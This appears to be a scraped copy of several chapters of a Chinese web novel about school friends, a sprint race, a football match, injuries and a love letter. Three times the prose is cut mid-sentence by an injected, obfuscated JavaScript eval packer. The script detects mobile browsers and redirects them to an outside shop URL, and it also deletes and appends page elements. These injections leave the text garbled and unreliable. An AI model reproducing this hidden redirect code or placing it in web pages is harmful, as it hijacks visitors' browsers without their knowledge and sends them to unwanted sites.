徐澄月紧盯着,在俞麟出现的下一秒就发现他,立马站起来朝他挥手,高喊他的名字加油。 俞麟听见了,看过去,一大家子都在,他跳起来挥手回应,最后视线落到哥哥身上,看到他做了个握拳加油的手势,沸腾过一遍的气势又沸腾起来。他用同样的手势回应后,注意力回到赛场。 教练告诉他,和他同场比赛的,有比他早训练的人,有参加比赛次数比他多的人,这场比赛是小,对别人来说或许无足轻重,但对他不一样,这是他的敲门砖,是他走向更高一阶的入场券。名次很重要,最终的时间也很重要,他要赢的不止是身旁这几人,还有前面无数人。 预备口令响起。 俞麟做好起跑姿势,目视地面,脑中毫无杂念,只有上场前教练那句话:俞麟,这是你的开始。 他希望他的开始,能有鲜花和掌声。 哨响,开跑,冲过终点,短短十几秒,成就他的开始。 与他激烈跳动的心脏一样,解说员的声音也很亢奋——他以11秒1的成绩,拿下第一场比赛,也打破了市赛百米短跑记录。 俞麟有些不可思议,生怕是自己幻听,但观众席的一角,欢呼和掌声惊人,他的亲友团在不停呼喊他的名字,两边跑道上的对手过来同他祝贺,他才有了实感。 没错,拿下第一场了。 礼貌回完他们的招呼,他停留几十秒,向观众席挥手回应,才离开跑道。 等在一旁的教练迎上来,给了他一个拥抱,“一个非常好的开始!” “谢谢教练!” 松开,转身,视线里就多了一束花。 “俞麟,恭喜你,旗开得胜!”冉于漪的激动还很鲜活,捧着花束的手微微颤着,将一个快掉的花苞抖落。 俞麟捡接过花,起花苞安回去,笑她,“你怎么比我还激动?” 冉于漪还乐着,“看比赛看的。” 冉爸——俞麟的教练在一旁补充:“这丫头,一直这样,以前看我其他学生比赛也是,他们没什么反应,她倒激动个不行。” “哦——老毛病啊。”俞麟揶揄。 冉于漪扯扯他的教练牌,“这就是竞技体育的魅力啊!你不也很激动?“ “哦,是吗?”冉爸含笑戳穿,“不过送花倒是头一回。” 一瞬叫冉于漪闹了个大红脸。 俞麟没听懂,还抱着花傻乐。 另一边,一行人准备转场去足球赛场,徐澄月走在最后,恰好瞄到冉于漪给俞麟送花一幕,惊讶地扯过岳清卓的手示意她去看。 脸盲症晚期人士压根认不出来那是谁。 “上学期放假约俞麟的女孩呀!也是之前在植物园你们帮的那个人呀!”徐澄月急得想钻进她大脑海马体,看里面都装了什么东西! “哦我记起来了。”其实还有点模糊。 “她给俞麟送花了!” 岳清卓一本正经:“表达朋友友爱的一种方式。” 徐澄月恨铁不成钢,轻戳一下她额头,“你个二愣子!” “我们也这样啊,互相之间送过多少东西。” “那不一样!” “哪不一样?江韫北不也常给你送东西。” “不一样!”徐澄月着急跺脚,不知道该怎么和她解释。 两人有些大的嗓音惹来俞麒注意,为帮俞麟遮掩,徐澄月立马转移话题,一个劲推他往外走,不给他一点往回看的机会。 足球赛场离得不远,十分钟路程,但场内氛围与隔壁截然不同,毕竟是校与校的竞争赛,又逢周末,观赛区大多是学生,几乎座无虚席,到处都是呐喊。 徐澄月找到何意霖时,她正一面看比赛,一面艰难护住占的位置,瞧见她,大松口气,略见疲惫说,再不来战地就要沦陷了。 徐澄月哭笑不得,搂着她安慰,把特地绕路给她买的小吃递上去。左侧方又有几道闪动的影子,是杜可颐和梁嘉和,旁边坐的是班里同学,一群人挥舞着手臂和她打招呼。 她一一回应完,坐下专注赛场,看了一会,问:“江韫北他们还没进球吧?” 何意霖击打着手上的铝模气球,转播战况:“对啊,双方势均力敌,目前持续拉锯,皆没进球。” “说得像模像样嘛。”徐澄月捏着她脸夸赞,“欸,你脸上贴的什么?” 何意霖献宝似的把入场前收到的贴纸拿给她,“学校足球队做的加油道具,你也贴你也贴。” 徐澄月拿了张完整的,抠下7号,贴在右脸上,问另一边岳清卓要哪个。 岳清卓瞟一眼场上奔跑的身影,又看看她的脸,“10,阿敛是10号。” “对哦,差点把阿敛忘了。”她将另一张10贴上左脸。 加油道具准备完,徐澄月的视线跟随场上两道熟悉的身影移动。至今她对足球赛规则仍一知半解,江韫北讲过好几次,她听过就忘,但看他踢得好不好,其实不需要懂规则。 本就是喜怒形于色的人,到了激烈的赛场,外露的情绪表现得更加淋漓尽致。踢好了原地跃起一米高,摇晃脑袋把汗水甩出去,振奋得要把声带喊破。踢岔了,手拉衣服抹一把脸,或是面无表情将汗湿的头发捋成中分。但现在是光头。 倒也不能说是心态不稳,只是非常有个人特色的情绪表达。 看了一会,徐澄月才知道他今天踢的前锋,谨记他赛前叮嘱,想把俞麟的好消息告诉他,却迟迟不见他往她这看过来。 余光里,何意霖架着相机在录像。她凑过去看,镜头紧追朝中校队,“可以啊意霖,江韫北本来让我带他相机来拍的,我嫌不好拿,就没答应。” 何意霖拨下头发挡住微红的脸,“我和我表姐借的,留个纪念嘛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187092|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐澄月赞许地点头,“嗯嗯嗯,那你拍,我不吵你!” 目光再回场上,正好瞧见他要捋头发,手触到脑袋才反应过来此刻发量不足以支撑这个动作,于是更懊恼,只能撩起球衣擦了把汗。 一连串动作,看得徐澄月失笑,又想起方才极清晰的视线里,捕捉到他不知何时变得健壮的肌肉。 “身材还可以嘛。”她小声嘀咕。 “什么?”岳清卓隐约听到她说话,没听清。 “他……江韫北好像踢岔了。” 岳清卓看得比她认真,“嗯,被对方断掉球了。” 徐澄月“啧”一声,拿起两个铝模气球敲打,大喊“江韫北,阿敛加油”,连续喊了一阵,终于引来江韫北注意,她立马停下动作,束起食指用力挥了挥,随即,江韫北隔空回她一个“OK”手势。 任务完成,徐澄月不再分心,盯紧场上一举一动,不知是不是受了俞麟好消息的影响,后面他和方之敛配合,踢得格外顺畅,最后以一道“摆大巴”战术,踢进一个球,结束上半场。 这个是她唯一能记住的足球战术。江韫北讲的时候以“老鹰抓小鸡”做比,生动形象。 中场休息,跑了整半场的人一点也不见累,一蹦一跳的,挨个和队友击掌,最后还朝她们这比了个举重的姿势。 何意霖及时拍下这一幕。 岳清卓嫌弃语气中带点骄傲,“花蝴蝶似的满场飞。” 徐澄月思索片刻,认真纠正她,“应该是满场转,见过哪知蝴蝶没有翅膀?” 岳清卓和何意霖不解,余光瞥见他那颗格外出众的脑袋,瞬间了然,三人肩挨着肩狂笑。 何意霖笑完,认真端详,“其实看久了也挺好看的。” 这点徐澄月倒不反对,有头发时是阳光开朗大男孩,没头发时像杂志上的个性型男,“只能说造物主太偏心。” 场下的江韫北,还不知自己被她们这么议论,下半场依旧踢得起劲,只是对方防守得也厉害,胶着整场,结束哨声吹响,0:0打平,最后朝中校队以上半场获胜的1分拿下初赛。 比赛结束,人员陆续退场。 几人约好比完赛吃饭,便婉拒了家中聚餐,收拾好东西到赛场外等他们。 没一会,两人背着包出来,都洗过澡,额间碎发还淌着水珠。 江韫北瞧见俞麟,丢掉东西冲上前将他举起,“我就说,你一定能拿下。” 俞麟捶捶他肩膀,“你也拿下了江队长。” 两人碰拳大笑。 方之敛笑着捡起东西,走过去,接过岳清卓递来的纸巾,问:“去哪吃饭?” “吃火锅呗,好久没吃了。” 两大冠军发号,没人有异议。 三个女生走在前头说小话,时不时回头应他们几句。 “你们脸上贴的什么?”江韫北瞥见她们脸上红红的一块。 何意霖说:“给你们加油的贴纸。” “哟是吗,我瞧瞧,”江韫北跑上前,从左往右看一遍,目光落在徐澄月脸上,“这俩一个7一个10,徐澄月,你倒是雨露均沾。不过这东西干不干净的,赶紧擦掉。“他从包里掏出湿纸巾给她们。 三人边走边搓脸。 徐澄月感觉自己那块格外黏,搓着搓着就放慢了脚步,湿纸巾搓干了,正想和江韫北再拿一张,就见他走回来,两指捏上她脸,晃了晃,笑说: “蠢月亮,这没擦干净啊!” 46. 第 46 章 半决赛和决赛时间都安排在工作日,现场去不成,只能等消息。 决赛那天是个阴天,偶尔还飘一阵阵细雨。 徐澄月轮到窗边座位,物理课上开小差,看着被雨丝糊住的窗户,心生担忧,在本子上写字,挪过去给岳清卓。 老祖宗说,做事讲究天时地利人和,我有点担心他们仨。 岳清卓打了个问号在下面。 阴天,下雨,不占天时。户外跑道,户外足球场,不占地利。人和嘛,算吧,但还是少了。 好像挺有道理的分析,但岳清卓握着笔,迟迟没有动手,思索良久,落下一句:迷信要不得。 徐澄月两眼一黑,合上本子。 中午吃饭,收到俞麟在他们小群发的报喜短信,他跑赢10号人,一举夺得冠军。 徐澄月一直守着手机,看到立马激动分享给好友们,随后输出一顿夸,外加一连串鞭炮。 她几乎把能说的庆祝词都说了,其他人只剩串鞭炮可以发。 于是“六弟隐身了”的群聊被满屏鞭炮霸占。 鱼鳞:江老贼,下午加油啊! 江大款:放心放心。 得知结果,俞麒和岳清卓便放下手机吃饭。 徐澄月却盯着江韫北的回复,觉得不太对劲。按他那个臭屁风格,肯定会发各种自夸式的话作为赛前激励。只有“放心”两个字,未免太节省。 可能赛前要练习没时间吧。徐澄月自我安慰,放下疑虑。 下午第二节课结束得知结果。 杜可颐和梁嘉和从小卖部回来的路上看见足球校队的大巴,随意拦了个同学询问,知道他们拿了冠军。 “那江韫北和阿敛呢?他们怎么还没回来?”徐澄月看到穿着足球服的同学陆续回来。 杜可颐犹豫一瞬,说:“好像是受伤了,听他们队员说,比赛结束后直接去医院了。” 徐澄月和岳清卓双双紧张,一人抓住杜可颐一条胳膊,“受伤?伤哪了,严重吗?” 杜可颐被她们吓得肩膀一抖,一时反应不过来。 梁嘉和将她解救出来,拉到自己身后,回答她们:“说是两人都伤了手,但不知道具体情况。” 上课铃响,没法联系家里人询问情况。两人忐忑上完最后一节课,一下课立马收拾东西,冲到20班找俞麒。 俞麒也知道了,婉拒找他问题的同学,和两人会合,“我发信息问过方叔了,两人都在一院,我们现在过去。” 三人步履匆匆。 快到楼梯口,听到有人喊他们,徐澄月停住,回头看,是何意霖。 何意霖喘气道:“澄澄,我出不去,他们俩有什么消息,你马上告诉我啊!” 徐澄月答应,让她别担心。 嫌自行车太慢,俞麒打了辆车,二十分钟抵达一院,下车就看到等在门口的方爸。 方爸领人进去,看他们走出一种要去火拼的紧张气势,哑然失笑,“你们这么紧张做什么,他俩没事,伤势都不重。” 他们了解几个医生家长的性格,这一行做了多年,都秉持没到生死关头什么伤都不算严重的乐观,因而对他的安慰说辞不大相信。 但见到病房里的景象,几人面面相觑。 方之敛躺在病床上,没换病服,还穿着球衣,右手打了石膏,挂在脖子上,左手端着碗,精神尚可。江韫北坐在他边上,左手缠着网格纱布,右手拿着勺子,正一勺一勺给方之敛喂粥。 方爸见他们不说话,挑眉笑说:“怎么样,我说没事吧?小屁孩,还不信我这个专业的。” 几人围上去,询问他们现在的状况。 江韫北耸耸肩,“就是刚压到的时候有些疼,现在还好。” 方之敛跟着点头,痛感经历和他差不多,只不过伤势较他稍微严重一点。 岳清卓紧盯方之敛的手臂,问方爸:“阿敛用住院吗方叔?” 方爸已经问候起隔壁床,听到他们喊他才停下,“不用,打石膏就行,不算很严重,医院床位紧张呢,哪有随随便便住院的。正好你们几个都在,待会老徐过来一次打包带走。” 几人被他的松弛折服。 方爸嘱咐他们别打扰到其他病人休息,就离开了。 俞麒找了两张椅子给女孩子,自己坐到病床上,问两人是怎么伤的。 江韫北抬眸看他一眼,又垂下去,神色恹恹的,像累过头没力气开口。 方之敛告诉他们,他是在热身赛时摔到扭了一下,正式比的时候对方前锋踢球有些脏,撞了他,又摔到同个位置,才会骨折。江韫北也是被那个前锋绊倒,但幸好他自己收了下手,轻微扭伤。 “故意的?一弄弄两个人?”徐澄月皱眉,“裁判没发现吗?” 方之敛:“好像没有,不过比赛结束后,队里负责比赛事务的学姐去找了,但应该也没什么办法吧。” 江韫北这时重重“哼”一声,有力气骂了,“要不是担心阿敛的伤,我一定跟去!” 徐澄月问:“哪个学校的?” 说到这个,江韫北来劲了,“就隔壁学校,高个子,瘦皮猴,长得跟电线杆似的,也穿7号球服,晦气!” 他面色不善,眼底燃着浓浓的火气,硬短头发增添几分不好惹气势,像下一秒就要抄家伙去和人干仗。 方之敛连忙安抚。 其余几人收到信号,转移话题。 六点出徐爸来接人,几人把伤情较为严重的方之敛先送回家,方妈恰好在后头回来,便让他们安心回家。 下班前方妈从方爸那得知儿子情况,知道情况不太严重,放下心,让他回房休息,她去做饭。走进厨房想到什么,又走出来,大声嘱咐:“可不许学习,好好躺着养手。” 被戳穿了小心思,方之敛摸摸鼻子,点头答应。 回房,没往床上躺,虽然在医院那会稍微擦洗过,但还是觉得身上有味,也黏黏的,想去冲澡。吊着只手,动作格外不便,好半天才才脱下外套。刚撩起卫衣,房门突然被打开,他慌忙松手,盖住露了一大片的腰。 “哟,遮什么呢,你什么我没看过。”端水果进来的方妈对儿子遮掩的动作深觉好笑,“医生眼里,都是无差别的身体构造。” 方之敛无奈地捏捏太阳穴,“妈——” “好好好,下次我一定敲门。”方妈捻颗葡萄给他,“吃点水果,不许学习啊。” 查完房又回厨房做饭。 方之敛看了会门,起身又坐回去,觉得没必要,继续脱卫衣。完好的左手和身体先出来,打石膏的右手还卡着,正准备小心搬出右手,门又被突然打开,他连忙钻回卫衣里,左手却死活找不到袖子,脑袋也找不到衣领,又怕碰到手,不敢四处转,半个上半身就这么蒙在卫衣里。 后腰一阵凉,那是露着的,他又把左手伸出去,想拉下,下一秒指尖被牵住。 “阿敛,你怎么了?” 岳清卓一进屋,就看见他像只被罩在透明杯里出不去的苍蝇,四处撞,撞急了也不明白那出不去。 卫衣里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不知道该怎么和她解释,大抵是从小一起长大,培养出来的熟悉和亲近,再加上她学拳多年,身边大都是男的,往来也没什么注意,让她自然而然模糊了男女之间的界限。 于是再三和她保证,等他爸回来,会好好检查,再把检查结果告诉她。 岳清卓生怕他隐瞒,离开前威胁:“记得告诉我,收不到消息我不睡觉,直接上你家。” 方之敛失笑,又有点开心,“会告诉你的。” 晚上十点,方爸才下班。 方之敛做完作业等了好一会,觉得身上脏一直抓耳挠腮的,立马把方爸拉进浴室。 “爸,我后背有擦伤吗?” “你别说,还真有,后腰这,还有肩胛。也是摔倒擦伤的?” “嗯,待会你给我上点药。” 父子俩在里头待了半个小时。 收拾干净,方之敛安心躺上床,拿来手机给岳清卓发消息。 她果真在等,几乎秒回。 “严重吗?” “不严重,一点小破皮,我爸给我上了药。” “那就好,你晚上睡觉注意点胳膊。” “我知道,你快睡吧。晚安,清卓。” 收到她回的晚安,方之敛关掉手机,平躺好,眼睛看着天花板,脑子里却想着岳清卓那会执拗的模样,像一只初生小牛犊,坚持自己认定的事,不断用两只小角去顶反抗她的人,迷迷糊糊,似懂非懂。 但别有一番可爱。 47. 第 47 章 两人手受伤,上学有些不方便。 方之敛由俞麒带着,江韫北则由徐澄月和岳清卓轮流带。江韫北觉得自己伤不重,原想自己骑,被徐澄月拦下。 罕见的,他没有争辩也没有逞强,乖乖坐到岳清卓车后座。 这几天他都是这样,有些沉默也有点忧郁。一向快乐惯了的人,陡然的变化,叫人轻易察觉。 徐澄月越发觉得不对劲,偷偷问两人,有没有觉得比赛结束后江韫北怪怪的。 俞麒也察觉,问方之敛比赛那天发生了什么。 方之敛回忆片刻,猜测:“比赛前我手摔过一次,但我怕少一个人不好踢,坚持上场,韫北会不会因为没把我劝住让我二次受伤,心里自责?” 徐澄月看着他垂丧的背影,赞同:“我觉得很有可能,他就爱钻牛角尖。” 方之敛无奈地摇头,“这家伙,都和他说没事了,我再劝劝他吧。” 徐澄月深谙他的脾性,阻拦道:“他肯定硬装没事。” 方之敛头疼,“也是。” 俞麒提议:“他前些天不是嚷着要去拍照吗?等他们手好一点,找个周末,一块去野营吧,散散心。” 三人商量着骑到校门口,岳清卓和江韫北早到了,在门口等他们。 停好车,江韫北懒散地走在前头,肩上的书包一甩一甩,徐澄月几人落在后头。 未等追上去,就见江韫北被一个女孩拦下。 他们隔有一段距离,女孩左右张望没发现闲杂人,随后非常果断地递出一个信封。 不是粉色,旧式书信的牛皮纸,一时猜测不出来里面装的是什么,几人只好观望,又担心早课铃响,抓心挠肝的。 这一端,江韫北被这场意外吓一跳,再三确定自己不认识这个人,才期期艾艾地开口,问她找他做什么。 仿佛角色互换,女孩大方爽朗表明来意,末了从校服口袋拿出一盒巧克力,这回是粉色心形的,而江韫北,却在她一句接一句话和粉红的巧克力里,红了脸,慌了神。 信封不知何时到他手里,触感柔韧,却让他有种捧着一颗定时炸弹的错觉,浑身僵硬动弹不得。“我”半天,愣是说不出一句话。 奇妙的反应显然也在女孩意料之外,但她要比他冷静,“就这样,如果可以,看完给我个回复?”她趁他愣神,把巧克力也塞过去。 回复什么?!江韫北大脑和一片新刷的墙一样空白。 女孩跑走了,江韫北“欸”一声,又见她往回跑。 停在他面前,十分严肃地问:“你现在没谈恋爱吧?我不算那个什么吧?” “没,不对,这不是重点!”他把“炸弹”塞回给她,板正道:“谢谢你给我写信,但我觉得不太好,我们都是学生,应该以学业为重,就这样,我先走了。” 几句话交代完,书包也不甩了,江韫北拿出场上带球跑的速度狂奔上楼,留下一脸无措的女孩。 这结果……反了吧? 后面几人看完全程,迷惑不已。 哪有被表白的人被吓得先落荒而逃的? 安静半晌。 一向迟钝的岳清卓难得开窍,看懂了七八分,但不太理解地问:“以他的性格,不应该是酷酷地拒绝,然后来和我们炫耀他的人气?” 方之敛和俞麒稍迟疑,点头。 徐澄月没回答,仰头看到走廊墙上,栏杆中央,一晃而过的脑袋,疑惑道:“难道光头的江韫北比有头发的帅吗?不应该啊。” 几人怀着复杂的心情走进教学楼,第一遍早课铃声响起,才回过神,拔腿奔回各自教室。 刚放下书包,课代表还没发练习卷,岳清卓想去逗逗他,被徐澄月拉住,示意她去看江韫北红成熟虾子的脸。 徐澄月以过来人的经验说:“这个时候去,他估计会暴走,未免影响市容,等回家吧。” 一语点醒,岳清卓安分坐下。 大课间照常去小卖部,徐澄月喊他,他哼哼唧唧趴在桌上说不去,让他们随便给他带点。徐澄月跑过去闹他,薅脑袋,在他绷带上写字,没有提及早上楼下发生的事。 他被闹烦了,坐起来推她走,附赠一句“徐澄月,你真烦”。 稀奇了,这话往常哪有他说的份儿。 赶在上课前五分钟回来,徐澄月把东西放他抽屉里,念及他单手,打开易拉罐,“没橘子味了,给你拿了个荔枝的。” 江韫北还是趴着,抬抬手表示知道了。 徐澄月还有东西给他看,将人摇起来,手里的小盒递出去,“买了个好玩的,你打开看看。” 江韫北不大情愿地配合她,“里面放了什么搞怪玩偶?徐澄月,你真幼稚!” 徐澄月也不多说,抓住他的手让盒子凑近他脑门,盖子一开,一只小拳头一下砸到他额上。 距离刚好,那一下力度不轻,有个小小的红印。 江韫北翻个大白眼,把东西丢给她,“徐澄月,你真幼稚!” 徐澄月撩起自己的刘海,“看看,有难同当。” “你……” 在他开骂前,徐澄月眼疾手快捏住他的脸,迫使他张着嘴,往里丢颗糖,在他变脸前赶紧跑开。 几秒后,江韫北的脸皱成酸菜干,将糖吐出来,灌了几口水,“徐澄月,你要死啊!”他最不能吃酸了。 徐澄月回头,“傻蛋,先酸后甜的!” 不太聪明的傻蛋,犹豫的,勉强地说:“再来一颗。” 绿色指头大的糖,以一条漂亮的抛物线,落到他手中。 * 周五放学,俞麟来找他们。他是前一天才得知两位好友手伤,决赛结束后就直接回校训练,为下个月的省赛做准备。这周末休息,他打电话回家,被母亲告知这事,放学后就直接来找他们。 询问一番得知伤势不严重,他才放下心,骑上岳清卓的车,载上江韫北。 岳清卓坐徐澄月的车,两人慢悠悠骑在后面。 岳清卓和她说,她明天要去练拳,之前教她散打“老板侄子”回来了,要不要去看看。她先前被她口中老板侄子的“英勇事迹”和身材长相迷倒,一直说想去看看,可惜老板侄子当时没待多久就走了,时隔两年才回来。 说完她没反应,岳清卓伸长脖子往前看,见她眼睛也不盯路,一直盯着车篮里的书包,戳戳她背,笑问她书包里藏了金块啊。 徐澄月停车,转头一脸严肃和她说:“不是,是‘炸弹’。” “什么?” 一封粉色,来自不知名女生,江韫北现役仰慕者的“炸弹”。 事情源于下午去洗手间,碰到一个女生,对方从上厕所到洗手,一直在偷偷观察她,最后甚至直接从洗手池前方的镜子看她。 徐澄月早就发现了,猛地抬头,打她个猝不及防,“同学,我身上有你掉的东西?” 女生愣愣地摇头。 “那你一直跟着我干什么?” 女生又观察她一会,问:“你是不是经常和江韫北在一起那个?” 徐澄月皱眉,这话问得微妙,主体是江韫北,她成了小跟班?笑话,他们徐、岳、方三人组可是驻扎朝城十几年悍将,江韫北顶多算外援。 她纠正女孩的问题,“是江韫北跟着我们。” 女孩不管这些,直接掏出一个东西,问她能不能帮忙转交,又道出原因,前几天他们足球队事务组的一个女生当面送被拒了,所以传授她们“秘诀”,找他身边人帮忙。 “秘诀?”徐澄月好奇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245890|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在她们都开始研究怎么追江韫北了? “对,我打听过,和他走得最近的两个女生,一个是你,一个叫岳清卓,据说是他表姐,这种事情还是别让表姐知道了。所以你能帮我转交吗?” 徐澄月还没收起惊讶的嘴,突然被女孩塞进一个东西,她想吐出来,但女孩手更快,捂住她嘴,告诉她那是巧克力,家里人从国外带回来的,非常好吃,希望她吃完秉持“吃人嘴短”的道义,帮她一把。 这一会工夫,巧克力融化了,微苦微甜,香味浓郁,和常吃的不一样,顺着唾液咽下去,这回真吃人嘴短了,“哪有你这种强买强卖的!” 女孩双手合十,再三拜托她,徐澄月犹豫不决。最后上课铃响,她不管不顾塞进她校裤口袋,一溜烟跑了。 徐澄月只能做贼似地揣回教室,放进书包。 现在准备带回家。 岳清卓听完,沉默片刻,眼睛也穿过徐澄月的手,落到她书包上,最后下定决心似的,说:“如果江韫北真的敢早恋,我一定告诉舅舅舅妈,棒打鸳鸯散!” 徐澄月安抚她,不至于,看他收到的反应就知道,这根棒肯定不用拿出来。 晚上吃过饭,犹豫许久,还是将信夹在书里,带上烤鸽一起去找他,顺便看看他情绪有没有好转。 小菀姑姑来开的门,徐澄月先打探一下他的心情,姑姑说最近不知道是不是因为手伤,一直低落着,比赛拿冠军了也不见开心。 徐澄月安慰她,“总有那么几天伤春悲秋,姑姑你别理他,我去看看。” 徐澄月敲敲门,得到回应后进去,江大少爷正站在窗边忧郁。 正想找个什么东西蒙他眼睛,就听他一句“徐澄月,你干嘛”。 “你偷偷往回看了?” 江少爷缓缓转身,双手抱胸,“你那脚步,我还听不出来?” 她的脚步声和他家里人不太一样,他们喜欢拖地,总是将声音弄得又长又重,她习惯连鞋抬起,短促又快,像她人一样轻快。 “哦,”徐澄月观察他脸色,小心翼翼问:“你还因为阿敛的伤不开心啊?” 江韫北别开眼,不说话。 “欸当初俞麟摔伤腿,我也和你一样心情。” “那不一样。” “哪不一样?不都是因为在乎朋友才会自责吗?” 江韫北抖抖身体,“徐澄月,你真肉麻。” “肉麻?那你自己想吧,我走了。” 徐澄月作势要走,袖子被扯住,就听那人小声说:“也不是不能接受,反正你别管,我想清楚就好了。” “想清楚什么?报仇?撞回去?” 江韫北一愣,他还真想过。 徐澄月拿烤鸽的屁股蹭他发顶,“以前你还说我莽,只会动手不动脑,看看你现在。” “哼,我护短,你不知道?” “护啊,我也护。你还记得之前刘宪欺负阿敛,你怎么给他报仇的吗?” 江韫北记得,用一场4:0的比赛报回去。 徐澄月拍拍他肩,语重心长,“来日方长,总有那么一天。” 江韫北暂时被说服,从头顶拿下烤鸽,抱在怀里,瞥见她带来的书,问她打算来找他学习。 徐澄月“额”半天,在他游移于她与烤鸽之间的视线中,慢慢翻开书,直到白色的书页出现一抹粉红。 突然沉默,江韫北揉烤鸽的动作也停下。 徐澄月看到,那抹粉色悄无声息从信封转移到他脸上。 他又变成一只煮熟的虾子。 十分钟后,他们爆发一小段不太激烈但有些莫名其妙的争吵。 或者说,是江韫北单方面疯狂输出。 吵完,徐澄月被赶出来了。 48. 第 48 章 徐澄月站在门口,面对紧闭的红木门,有些无措,不清楚他们是从哪一句开始吵的。 十分钟前,徐澄月捏住信封一角,递给江韫北,并表明她没有看过。 江韫北也像看到炸弹一样,一把抢过信丢到书桌上,背过身平复一会热辣的脸,扭头不善地质问她为什么会有这个。 徐澄月实话实说:“下午上洗手间,一个女生让我转交的。” “谁?” “我不认识。” “不认识你就帮她?为什么帮?” 为什么?徐澄月挠头,这该怎么讲,对方请她帮忙的?也不是,她没有明确答应。对方硬塞她不得不拿的?也不全对,她吃了人家东西。 但无论过程怎样,她都接下了,送到他面前。 江韫北秒变爆炸恐龙,“徐澄月,你是不是缺心眼?这玩意儿能随便接?” 徐澄月睁大眼睛,装满疑惑,“给你的又不是给我的。” “你傻啊,给我的,我不回复,万一人家觉得是你没帮忙送或者你把她们信给丢了,出去随便编排你怎么办?给自己树敌啊你!” “不会吧,都是女孩子,而且,你也不是那么……” “徐澄月!”江韫北气得冒烟,掐着腰在房间来回走。 并非他小人之心度君子之腹,之前在阳城上学,他目睹过这类事情。 女孩是那个男生的邻家妹妹,被那些女生缠得没办法松口,男生一向不理会这些示好,冷漠应对,女孩最后被各种言论缠身,她反驳辩解,那些人不信。 他曾帮了她一把,后来看不过去,想直接告发,反正女孩不是这场混乱的发起者,不会被处罚,谁知道男生抢先一步,将那几个人和信送到教导主任面前。 结局虽是好的,但他不想徐澄月也经历一遍。 但徐澄月没领悟到他这层意思,只觉他小题大做,“就顺手帮个忙。” “顺手,你手那么长?有时间帮别人怎么不帮我讲讲题跑跑腿?” “江韫北,你讲讲道理。” 这道理一讲,事情原委也说出来了。 江韫北甩胳膊甩腿的,不敢置信,居然一块巧克力就把他卖了,他揪着胸前衣服,一副被出卖的痛心,“我平时喂了你多少!” “不是,都说被硬塞了。”被误解,徐澄月更着急,语无伦次地把经过重讲一遍。 但江韫北脑回路不太一样,兜兜转转只抓住一个点:徐澄月愿意帮别人给他递情书。 他一个不太认真学习但认真对待学生生活的三好共青团团员,是可以收情书早恋的吗?还有,她为什么愿意帮忙?巴不得有人把他收了好不用在她跟前碍眼?她没有一点好朋友被觊觎可能会被抢走的危机感吗?他那么不重要?徐澄月希望他和其他人谈恋爱? 一些乱七八糟没有营养的想法在脑海中经历十八弯后,演变得十分离谱:她要把他赶出他们六人团。 江韫北觉得心里那团火烧得更旺了。他不晓得这场无名火的起火原因或许发生了变化,但他清楚,短时间内他不想看到徐澄月。 于是他将人拽起,拖到门外,甩上门,一气呵成。 气喘吁吁坐到书桌前,还没顺好,目光落在她送的两个木雕,一个是转校送的,初见被她打趴下那个场景,一个是他初三生日送的,也是他刚来云水村那会,在田里被陈阿婆家的小猪扑倒。 没一个正经的! 他把两个木雕倒扣在桌面。 耳边这时响起拍门声。 “把烤鸽还我呀。” 他这才注意到目睹这场“家庭变故”的幼小儿童。他拎起它脖子,塞到被窝里,拍拍它脑袋,尽力让语气温柔,“乖,别怕,我们刚刚只是在辩论。” 烤鸽喵一声,看着他不动。 他爬下床,打开电脑找了段辩论比赛的视频,把烤鸽拎到书桌上,帮它睁大双眼,“就是这样,没有吵架。” 十分钟的视频放完,再次把烤鸽丢回被窝,“好好睡觉,别做噩梦。”稍停会,补一句,“也别理你那个傻妈。” 烤鸽喵一声,这回不看他了,像是应承。 江韫北才舒心不少,啪地按下旁边的开关,关灯睡觉。 门外的徐澄月,看见门缝透出那点光倏地消失,暗叫不好。 江少爷带着气睡一觉,要么睡醒气消大半,明天她随便哄哄就过去了,要么火气翻倍,起码要来回哄个两三遍。但看这架势,她觉得后者的可能性更大。 她怀着忐忑不安的心情酣睡一晚,第二天被岳清卓叫醒,一块去跆拳道馆见老板侄子。 路上和岳清卓打探他的消息。 “还没醒呢,凌晨起来捣鼓吃的,又打了好久游戏,天快亮才睡,估计要睡到中午去。” 寥寥几句,揣测不出他的心情。 快到拳馆了,徐澄月暂将这事抛到脑后,开开心心去看老板侄子。 和岳清卓所说无差,老板侄子身姿挺阔,高大威猛,皮肤黝黑,脸上有伤疤,刚结痂,十足的硬汉。四月底,天还凉,他只穿件黑色工字背心,衣料后的肌肉似要蓬勃而出,行走言谈都自带一股凛人气势。 但只是看着吓人。他很爱笑,标准露齿八颗的笑容,笑得深了眼睛微微眯上,像只乖巧的小猫,格外甜,无形消减他外形上的冷酷。 他一面和岳清卓切磋身手,一面简单和她们讲这两年做的事。不太细致,但徐澄月大概凑成一个故事,听完只剩震撼,原来看着和平的世界,还存在那么多黑暗。 